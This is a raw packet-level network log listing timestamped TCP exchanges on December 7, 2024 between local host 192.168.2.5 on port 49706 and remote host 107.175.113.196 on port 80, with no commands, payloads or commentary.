                                        Dec 7, 2024 15:47:46.089293957 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.089401960 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.089462996 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.093180895 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.093242884 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.093286991 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.093327999 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.097116947 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.097213984 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.097258091 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.101023912 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.101109982 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.101169109 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.104897022 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.105010033 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.105066061 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.109117985 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.109201908 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.109247923 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.112754107 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.112819910 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.112869024 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.116652012 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.116754055 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.116820097 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.120578051 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.120707035 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.120760918 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.124629974 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.124665022 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.124728918 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.128403902 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.128459930 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.128495932 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.128537893 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.132328987 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.132385969 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.132473946 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.132529974 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.136244059 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.136301041 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.136332035 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.136373997 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.140131950 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.140192032 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.140233040 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.140402079 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.144036055 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.144088984 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.144151926 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.144195080 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.147981882 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.148046970 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.148169994 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.148219109 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.152065039 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.152117014 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.152118921 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.152164936 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.155812025 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.155869007 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.155898094 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.155977011 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.159694910 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.159751892 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.159795046 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.159838915 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.163630962 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.163681984 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.163742065 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.163816929 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.167553902 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.167606115 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.167634964 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.167680979 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.171571970 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.171632051 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.171696901 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.171750069 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.175420046 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.175472975 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.175517082 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.175561905 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.179363966 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.179428101 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.179433107 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.179491997 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.183264971 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.183334112 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.183351040 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.183401108 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.187103033 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.187160969 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.187222004 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.187273026 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.191091061 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.191145897 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.191207886 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.191268921 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.194922924 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.194978952 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.195050001 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.195096016 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.198879004 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.198930025 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.198997974 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.199064016 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.260833025 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.260946989 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.261075974 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.262295961 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.262406111 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.262465954 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.265398026 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.265472889 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.265551090 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.265594006 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.268475056 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.268610001 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.268660069 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.271725893 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.271836042 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.271892071 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.274575949 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.274652958 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.274707079 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.277642012 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.277700901 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.277839899 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.277890921 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.280662060 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.280725956 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.280736923 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.280785084 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.283570051 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.283684969 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.283742905 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.286443949 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.286521912 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.286578894 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.289278030 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.289339066 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.291309118 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.293226004 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.293281078 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.293400049 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.293448925 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.296190023 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.296353102 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.296427011 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.298930883 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.298944950 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.299004078 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.301739931 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.301753998 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.301800013 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.302875042 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.302970886 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.303023100 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.307007074 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.307020903 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.307086945 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.309204102 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.309273958 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.309353113 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.309398890 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.311753035 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.311908007 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.311960936 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.314408064 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.314420938 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.314479113 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.316893101 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.316905975 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.316941023 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.319453955 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.319591045 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.319644928 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.321145058 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.321156979 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.321191072 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.321227074 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.323260069 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.323394060 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.323446035 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.325726032 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.325783014 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.325822115 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.325861931 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.329979897 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.329992056 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.330053091 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.331711054 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.331722021 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.331788063 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.331811905 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.331855059 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.331969976 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.332016945 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.333194017 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.333249092 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.333283901 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.333343983 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.334496021 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.334635019 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.334688902 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.335860968 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.335918903 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.335999966 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.336050987 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.337207079 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.337255955 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.337316990 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.337359905 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.338572979 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.338684082 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.338737965 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.339912891 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.339962006 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.340018988 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.340064049 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.341244936 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.341290951 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.341583967 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.341634035 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.342619896 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.342663050 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.342720032 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.343949080 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.344079018 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.344182014 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.345292091 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.345340967 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.345354080 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.345408916 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.345459938 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.346652985 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.346729994 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.346765041 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.346807957 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.348021984 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.348066092 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.348092079 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.348263979 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.349363089 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.349452019 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.349484921 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.349560976 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.350692987 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.350737095 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.350821972 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.350860119 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.352061033 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.352118015 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.352207899 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.352251053 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.353413105 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.353473902 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.353496075 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.353537083 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.354792118 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.354841948 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.354877949 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.354919910 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.356136084 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.356236935 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.356250048 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.356287003 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.357479095 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.357533932 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.357557058 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.357664108 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.358815908 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.358863115 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.358918905 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.358994961 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.360188007 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.360233068 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.360305071 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.360358953 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.361500978 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.361555099 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.361615896 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.361764908 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.362860918 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.362912893 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.362940073 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.362987041 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.452764988 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.452833891 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.452879906 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.452994108 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.453403950 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.453457117 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.453577042 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.453619003 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.454575062 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.454602957 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.454658031 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.455945015 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.455993891 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.456013918 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.456053972 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.457128048 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.457226992 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.457289934 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.458519936 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.458566904 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.458703041 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.459001064 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.459851027 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.459935904 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.459983110 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.461185932 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.461235046 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.461364985 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.461441040 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.549969912 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.550013065 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.550035000 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.550086021 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.550513983 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.550573111 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.550600052 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.550731897 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.551843882 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.551903963 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.551933050 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.551976919 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.553188086 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.553245068 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.553347111 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.553451061 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.554512024 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.554600000 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.554666042 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.554709911 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.555898905 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.556025982 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.556082010 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.557265043 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.557336092 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.557365894 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.557410002 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.558634996 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.558690071 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.558708906 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.558773994 CET4970680192.168.2.5107.175.113.196
